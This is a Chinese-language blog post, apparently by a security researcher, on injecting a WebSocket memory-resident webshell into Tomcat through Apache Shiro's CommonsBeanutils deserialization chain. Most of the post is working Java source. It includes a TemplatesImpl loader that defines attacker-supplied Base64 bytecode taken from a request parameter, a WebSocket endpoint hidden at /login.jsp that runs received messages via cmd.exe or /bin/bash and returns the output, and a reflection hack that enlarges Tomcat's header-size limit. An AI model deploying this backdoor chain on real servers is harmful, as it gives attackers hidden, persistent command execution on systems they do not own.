
前言
新坑,关于shiro下注入内存马相关,起因有个师傅问我这么个情况:tomcat环境下shiro打CB反序列化的websocket内存马。调试后发现关于shiro这方面历史知识有点欠缺。
坑点总结
三种方案
1)修改maxHttpHeaderSize
Shiro 550 漏洞学习 (二):内存马注入及回显,直接修改
2)将class bytes使用gzip+base64压缩编码
tomcat结合shiro无文件webshell的技术研究以及检测方法,将恶意byte压缩,在payload中调用classloader解压缩执行
3)从POST请求体中发送字节码数据
Java代码执行漏洞中类动态加载的应用
context与request获取
老生常谈了
Shiro 回显与内存马实现 | MYZXCG
Java内存马:一种Tomcat全版本获取StandardContext的新方法
基于全局储存的新思路 | Tomcat的一种通用回显方法研究
Java安全之反序列化回显与内存马
问题发现
CB链是调用TemplatesImpl进行加载字节码,流程为
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
该字节码所对应的类必须继承于 AbstractTranslet
,但是websocket内存马的实现也是需要一个类去继承于 Endpoint
。这种情况该怎么去构造?
尝试解决
内部类
利用内部类尝试写入
websocket.java
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException; import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.Session; import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig; import java.io.InputStream;
public class websocket extends AbstractTranslet {
class socket extends Endpoint { private Session session; @Override public void onOpen(Session session, EndpointConfig config) { this.session = session; this.session.addMessageHandler(new MessageHandler()); } private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> { @Override public void onMessage(String message) { try { boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows"); Process exec; if (iswin) { exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message}); } else { exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message}); } InputStream ips = exec.getInputStream(); StringBuilder sb = new StringBuilder(); int i; while((i = ips.read()) != -1) { sb.append((char)i); } ips.close(); exec.waitFor(); session.getBasicRemote().sendText(sb.toString()); } catch (Exception e) { e.printStackTrace(); } } } }
static { System.out.println("[+]-------before exp-------"); WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); System.out.println(standardContext); System.out.println("---------standardContext-------");
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); System.out.println(attribute); System.out.println("---------attribute-------");
socket so = new websocket().new socket(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(so.getClass(), "/login.jsp").build(); System.out.println(build); System.out.println("---------build-------"); System.out.println("[+]------after exp------"); try { attribute.addEndpoint(build); System.out.println("ok!"); } catch (DeploymentException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
尝试很多次都是在创建 ServerEndpointConfig
时失败,具体原因先跳过。

自定义Classloader
能不能将payload和exp分开,CB链目的是去动态加载我们传入的字节码,socket内存马的字节码我们可以通过POST方式去获取。中间桥梁可以通过类加载的操作去实现。
通过 Tomcat的一种通用回显方法研究
,只需要拿到request就可了。
exp.java
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.connector.Connector; import org.apache.catalina.connector.Request; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardService; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.coyote.AbstractProtocol; import org.apache.coyote.RequestGroupInfo; import org.apache.coyote.RequestInfo;
import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.Base64;
public class exp extends AbstractTranslet { public static class TestClassLoader extends ClassLoader{ public Class x(byte[] bytes){ return super.defineClass(null,bytes,0,bytes.length); } } static { try{ //获取service属性 StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext(); Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext); Field servicef=applicationContext.getClass().getDeclaredField("service"); servicef.setAccessible(true); StandardService service=(StandardService) servicef.get(applicationContext);
//获取connector Connector[] connectors=service.findConnectors(); Connector connector=connectors[0];
//获取global AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler(); Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler"); getHandler.setAccessible(true); Object connectionHandler=getHandler.invoke(abstractProtocol); Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal"); RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);
//获取request Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processorsf.setAccessible(true); ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global); RequestInfo requestInfo=processors.get(0); Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); req.setAccessible(true); Request request2=(Request) ((org.apache.coyote.Request) req.get(requestInfo)).getNote(1); byte[] bytes=Base64.getDecoder().decode(request2.getParameter("code").getBytes(StandardCharsets.UTF_8)); Method defineClass=Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class x= (Class) defineClass.invoke(exp.class.getClassLoader(),bytes,0,bytes.length); x.newInstance(); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
payload.java
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.websocket.server.WsServerContainer; import javax.websocket.DeploymentException; import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.Session; import javax.websocket.server.ServerContainer; import javax.websocket.server.ServerEndpointConfig; import java.io.InputStream;
public class payload extends Endpoint { static{ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(payload.class, "/login.jsp").build(); WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); try { attribute.addEndpoint(build); } catch (DeploymentException e) { throw new RuntimeException(e); } }
private Session session; @Override public void onOpen(Session session, EndpointConfig config) { this.session = session; this.session.addMessageHandler(new MessageHandler()); } private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> { @Override public void onMessage(String message) { try { boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows"); Process exec; if (iswin) { exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message}); } else { exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message}); } InputStream ips = exec.getInputStream(); StringBuilder sb = new StringBuilder(); int i; while((i = ips.read()) != -1) { sb.append((char)i); } ips.close(); exec.waitFor(); session.getBasicRemote().sendText(sb.toString()); } catch (Exception e) { e.printStackTrace(); } } } }
|
在测试的过程中又出现新的问题,HTTP头部长度太大,这牵扯到一个新问题 maxHeadersize绕过
,解决方案如下
通过反射修改 org.apache.coyote.http11.AbstractHttp11Protocol
的maxHeaderSize的大小(默认长度8192),这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。

修改maxHeadersize
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class maxlen extends AbstractTranslet { static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); headerSizeField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0; j < classes.length; j++) { // org.apache.coyote.AbstractProtocol$ConnectionHandler if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null)); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); // 10000 为修改后的 headersize headerSizeField.set(tempRequest.getInputBuffer(),10000); } } } // 10000 为修改后的 headersize ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000); } } } } catch (Exception e) { } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
修改完headersize后,传参数

这回的websocket连接状态已经改变,但是连接出现问题。

日志

看来是payload种的MessageHandler中出现问题,重写一下payload.java
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException; import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.Session; import javax.websocket.server.ServerContainer; import javax.websocket.server.ServerEndpointConfig; import java.io.InputStream;
public class payload extends Endpoint implements javax.websocket.MessageHandler.Whole<String>{ static{ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(payload.class, "/login.jsp").build(); WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); try { attribute.addEndpoint(build); } catch (DeploymentException e) { throw new RuntimeException(e); } }
private Session session; @Override public void onMessage(String s) { try { Process process; boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); if (bool) { process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); } else { process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); } InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char)i); inputStream.close(); process.waitFor(); session.getBasicRemote().sendText(stringBuilder.toString()); } catch (Exception exception) { exception.printStackTrace(); } } @Override public void onOpen(final Session session, EndpointConfig config) { this.session = session; session.addMessageHandler(this); } }
|
成功
